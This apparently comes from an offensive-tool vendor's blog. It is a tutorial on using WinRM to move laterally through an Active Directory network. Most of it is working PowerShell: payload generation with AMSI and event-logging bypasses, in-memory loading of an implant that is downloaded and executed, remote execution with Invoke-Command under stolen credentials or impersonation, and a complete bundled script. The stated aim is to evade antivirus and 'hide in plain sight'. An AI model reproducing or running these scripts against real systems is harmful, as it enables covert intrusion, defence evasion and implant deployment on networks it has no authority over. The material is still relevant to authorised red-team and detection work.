Overview
In this post, I am going to go over how to use WinRM to laterally move within an Active Directory network and to try and blend in with the noise.
While WinRM does give you the ability to run remote commands, it may be limited in what it can access without pushing payloads to the target such as Mimikatz. That’s where this technique will come in.
Tools used:
- PowerShell
- .NET Modules
- Version 4.4.0: GPO Module and More SpecterScripts
Background on WinRM
Windows Remote Management (WinRM) is Microsoft’s implementation of the WS-Management protocol, which provides a standards-based way for systems to communicate remotely using SOAP-based messaging. It’s primarily used for remote command execution, PowerShell remoting, and management tasks on Windows systems.
Effectively, WinRM is a service that runs on Windows Systems and allows for PowerShell scripts to be executed remotely. Administrators (or attackers) can connect to HTTP port 5985 or HTTPS port 5986 with the appropriate credentials and run arbitrary PowerShell commands. Once an authenticated user connects and invokes a script, a child process called the “Windows Management Provider Host” or wsmprovhost.exe is created by the winrm.exe process to handle the execution of the script.
What Happens When You Run a Command over WinRM
- Initiating the Connection:
- A user runs Invoke-Command, Enter-PSSession, or runs winrs.exe on the local system.
- HTTP/S requests are sent to the remote WinRM service (svchost.exe hosting WinRM)
- Remote System Response:
- svchost.exe (WinRM) receives the request
- Spawns wsmprovhost.exe to host the PowerShell session under the user’s context
- Command Execution:
- wsmprovhost.exe executes commands or scripts
- Output is serialized (using SOAP and WS-Management) and returned over HTTP/S
- Session Termination:
- On session close, wsmprovhost.exe exits
This is really important background information. One, it let’s us know that everytime we run a new WinRM connection, we get a clean child process to operate in, and two we know we need to hold that WinRM connection open or block the completion of the command so that the implant we push across the connection isn’t shut down when wsmprovhost.exe exits.
Determining if WinRM is Enabled
Now that we have some background on WinRM, how do we know if this technique can be used in the target environment. The most important thing is to check if WinRM is running on the target. WinRM is almost always configured to listen on port 5985 or 5986, so we can check to see if that port is open on the remote system by using the Port Scan Local Network SpecterScript.
Once the SpecterScript is added to the command builder, you get a UI with options for selecting ports. The WinRM ports 5985 and 5986 are not included in the default port list, so that will need to be added to the “Ports” parameter. This command can now be run and will return the results of the port scan shortly.

Once the command completes, you should get output similar to what’s shown below:
IP Network 5985
-- ------- ----
192.168.1.103 192.168.1.0/24 Open
10.0.2.213 10.0.2.0/24 Open
And we see that port 5985 is open on multiple systems. Now that we know what systems we can reach, let’s dive into the various techniques:
Parameters
For this SpecterScript, we want a very simple set of parameters to reduce the operator workload. At a minimum, the operator will need to provide a target system (hostname, fully qualified domain name, or IP address). The user can optionally provide a username and password to authenticate with. Then there are options with good defaults, namely the Payload parameter which allows the operator to select between two different payload techniques that will be discussed below. Additionally, the operator can select an implant Build if they want to deploy something other than the default.
param(
[Parameter(ParameterSetName="Impersonate", Mandatory=$True, HelpMessage="The IP address or hostname of the target system.")]
[Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The IP address or hostname of the target system.")]
[ValidateNotNullOrEmpty]
[string]$Target,
[Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The local or domain username to authenticate with.")]
[ValidateNotNullOrEmpty]
[string]$Username,
[Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The password for the specified user.")]
[ValidateNotNullOrEmpty]
[string]$Password,
[Parameter(ParameterSetName="Impersonate", Mandatory = $true, HelpMessage = "The type of payload to use.")]
[Parameter(ParameterSetName="Username and Password", Mandatory = $true, HelpMessage = "The type of payload to use.")]
[ValidateSet('ps_cradle', 'cs_load_module')]
[string]$Payload = 'cs_load_module',
[Parameter(ParameterSetName="Impersonate", Mandatory = $true, HelpMessage = "The Specter build identifier.")]
[Parameter(ParameterSetName="Username and Password", Mandatory = $true, HelpMessage = "The Specter build identifier.")]
[ValidateNotNullOrEmpty()]
[Build]
[string]$Build
)
The parameter block above will be rendered by the SpecterInsight UI into a simple GUI displayed below:

Techniques
With the latest release of SpecterInsight 4.4.0, I published two techniques for pushing a payload to the target and gaining execution with WinRM:
- PowerShell cradle
- .NET Module loader
Let’s take a look at each one in detail.
PowerShell Cradle
With this technique, we can simply activate the SpecterInsight payload pipeline ps_cradle to generate a small PowerShell script that will safely load a Specter into memory. It does that via three stages:
- Stage 0: Cradle. This stage is responsible for bypassing AMSI and then downloading and executing the Stage 1. This is where we are doing the heavy lifting. If everything goes to plan, this will be the only script that gets scanned by the remote AV. As such, it is heavily obfuscated.
- Stage 1: Loader. This stage is responsible for bypassing event logging and then downloading and executing Stage 2. For performance reasons, this stage has minimal obfuscation, but that should be fine because the previous stage disabled AMSI.
- Stage 2: Specter. This is the Specter implant which is now securely loaded into memory.
This is probably the most simple and easy way to laterally move as WinRM was designed to execute PowerShell commands remotely; however, the obfuscated payload can be a little loud depending upon who’s looking.
Here is the SpecterScript for this technique:
# Generate a new, obfuscated PowerShell cradle payload
$contents = Get-Payload 'ps_cradle' -Build $Build -AsString;
# Build a ScriptBlock to deploy to the target and execute
$scriptBlock = [scriptblock]::Create($contents);
$argumentList = @();
# Execute command on remote system using WinRM
try {
if(![String]::IsNullOrEmpty($Username) -and $Password -ne $null) {
# Converts the plaintext username and password into a PSCredential object
$SecurePassword = ConvertTo-SecureString -String $Password -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username, $SecurePassword
# Run the payload on the remote machine using username and password
Invoke-Command -ComputerName $Target -Credential $Credential -ScriptBlock $scriptBlock -ArgumentList $argumentList -AsJob | Out-Null;
} else {
# Run the payload on the remote machine using impersonation
Invoke-Command -ComputerName $Target -ScriptBlock $scriptBlock -ArgumentList $argumentList -AsJob | Out-Null;
}
$success = $true;
} catch {
$success = $false;
throw;
}
Reflective Load .NET Module
With this technique, we will be looking to pass a .NET loader as an argument to a small PowerShell script we will run on the remote machine. Once the module contents are passed as an argument, all the PowerShell script needs to do is call [System.Reflection.Assembly]::Load() and Assembly.EntryPoint.Invoke. The module then downloads and executes the Specter implant. This method is also laid out in three stages:
- Stage 0: Cradle. This stage is responsible by passing the .NET Loader as an argument to the cradle and in turn the cradle is responsible for hiding in plain sight and loading the .NET loader. It hides in plain sight by embedding the two loader commands in a benign PowerShell script.
- Stage 1: .NET Loader. This stage is responsible for bypassing AMSI and then downloading and executing Stage 2. Because the cradle does not bypass AMSI, this module will get scanned by the installed AV. To mitigate detection, the .NET loader source code is heavily obfuscated prior to compilation.
- Stage 2: Specter. This is the Specter implant which is now securely loaded into memory.
The advantage of this technique is that it results in a much smaller payload that will potentially allow us to hide in plain sight by embedding it in a benign script.
Here is the SpecterScript for this particular technique.
# Generate payload. In this case, we specify a
$contents = Get-Payload 'cs_load_module' -Build $Build -Args @{
AmsiBypassTechnique = 'HardwareBreakpointAmsiScanBuffer';
};
$scriptBlock = {param(
$Contents
)
[System.Reflection.Assembly]::Load($Contents).EntryPoint.Invoke($null, $null);};
$argumentList = @(,$contents);
# Execute command on remote system using WinRM
try {
if(![String]::IsNullOrEmpty($Username) -and $Password -ne $null) {
# Converts the plaintext username and password into a PSCredential object
$SecurePassword = ConvertTo-SecureString -String $Password -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username, $SecurePassword
# Run the payload on the remote machine using username and password
Invoke-Command -ComputerName $Target -Credential $Credential -ScriptBlock $scriptBlock -ArgumentList $argumentList -AsJob | Out-Null;
} else {
# Run the payload on the remote machine using impersonation
Invoke-Command -ComputerName $Target -ScriptBlock $scriptBlock -ArgumentList $argumentList -AsJob | Out-Null;
}
$success = $true;
} catch {
$success = $false;
throw;
}
Enabling WinRM on the Current System
To leverage WinRM, you must first resolve a few pre-requisites:
- Acquire credentials to the remote system
- Configure the Localhost to Allow WinRM
- The remote host must also be configured to allow WinRM. For this scenario, we’re going to assume it’s already running otherwise this technique wouldn’t be possible.
Before you can do anything, you have to have credentials to the remote system. The way this is implemented, you can either use impersonation or explicit credentials. With impersonation, you would need to have token with interactive access to avoid the double hop problem. If you don’t have that, you could optionally provide username and password.
Next, you have to configure the local system to be able to connect to the remote system via WinRM. This is automatically handled within the SpecterScript by executing the commands below. It is not necessary to fully configure WinRM on the localhost. The minimum requirement is that the WinRM service is running, so that is all SpecterInsight will ensure. That being said, the current user would need administrative rights on the local system to be able to make these changes.
#Configure WinRM locally
# Enable PowerShell remoting on the current machine
try {
$service = Get-Service -Name WinRM;
if ($service.Status -ne 'Running') {
Start-Service -Name WinRM;
}
} catch { }
# Allow client to connect to any host
try {
Set-Item -Path WSMan:\localhost\Client\TrustedHosts -Value * -Force;
} catch { }
Executing the Technique
Once both of those pre-requisites have been met, we can now execute the technique. From an interactive session, I simply load the “Lateral Movement with WinRM” SpecterScript into the Command Builder and configure the parameters defined in the parameter block. Namely Target, Username, and Password parameters. This is what the finalized command looks like:

Next, we run the command and after a few moments we get our callback.

Complete SpecterScript
Here is the full SpecterScript with all of the components neatly bundled into one simple command:
param(
[Parameter(ParameterSetName="Impersonate", Mandatory=$True, HelpMessage="The IP address or hostname of the target system.")]
[Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The IP address or hostname of the target system.")]
[ValidateNotNullOrEmpty]
[string]$Target,
[Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The local or domain username to authenticate with.")]
[ValidateNotNullOrEmpty]
[string]$Username,
[Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The password for the specified user.")]
[ValidateNotNullOrEmpty]
[string]$Password,
[Parameter(ParameterSetName="Impersonate", Mandatory = $true, HelpMessage = "The type of payload to use.")]
[Parameter(ParameterSetName="Username and Password", Mandatory = $true, HelpMessage = "The type of payload to use.")]
[ValidateSet('ps_cradle', 'cs_load_module')]
[string]$Payload = 'cs_load_module',
[Parameter(ParameterSetName="Impersonate", Mandatory = $true, HelpMessage = "The Specter build identifier.")]
[Parameter(ParameterSetName="Username and Password", Mandatory = $true, HelpMessage = "The Specter build identifier.")]
[ValidateNotNullOrEmpty()]
[Build]
[string]$Build
)
#Configure WinRM locally
# Enable PowerShell remoting on the target machine
try {
Enable-PSRemoting -Force | Out-Null;
} catch { }
# Allow coient to connect to any host
try {
Set-Item -Path WSMan:\localhost\Client\TrustedHosts -Value * -Force;
} catch { }
#Generate payload and convert to ScriptBlock for execution via WinRM
if($Payload -eq 'ps_cradle') {
$contents = Get-Payload 'ps_cradle' -Build $Build -AsString;
$scriptBlock = [scriptblock]::Create($contents);
$argumentList = @();
} elseif($Payload -eq 'cs_load_module') {
#Generate a stand-alone bypass
$contents = Get-Payload 'cs_load_module' -Build $Build -Args @{
AmsiBypassTechnique = 'HardwareBreakpointAmsiScanBuffer';
};
$scriptBlock = {param(
$Contents
)
[System.Reflection.Assembly]::Load($Contents).EntryPoint.Invoke($null, $null);};
$argumentList = @(,$contents);
}
#Execute command on remote system using WinRM
try {
if(![String]::IsNullOrEmpty($Username) -and $Password -ne $null) {
#Run with explicit credentials
$SecurePassword = ConvertTo-SecureString -String $Password -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username, $SecurePassword
# Run the payload on the remote machine using username and password
Invoke-Command -ComputerName $Target -Credential $Credential -ScriptBlock $scriptBlock -ArgumentList $argumentList -AsJob | Out-Null;
} else {
#Run the payload on the remote machine using impersonation
Invoke-Command -ComputerName $Target -ScriptBlock $scriptBlock -ArgumentList $argumentList -AsJob | Out-Null;
}
$success = $true;
} catch {
$success = $false;
throw;
}
#Output the result object
New-Object psobject -Property @{
Lateral = New-Object psobject -Property @{
Method = "WinRM";
Build = $Build;
Payload = $Payload;
System = $Target;
Username = $Username;
Success = $success;
};
};
Conclusion
WinRM is a great method to use for lateral movement if it is configured within your environment, but the commands run within it can stand out if the payloads are not well crafted. The intent with this post was to highlight was to leverage WinRM and blend into the network by hiding in plain sight.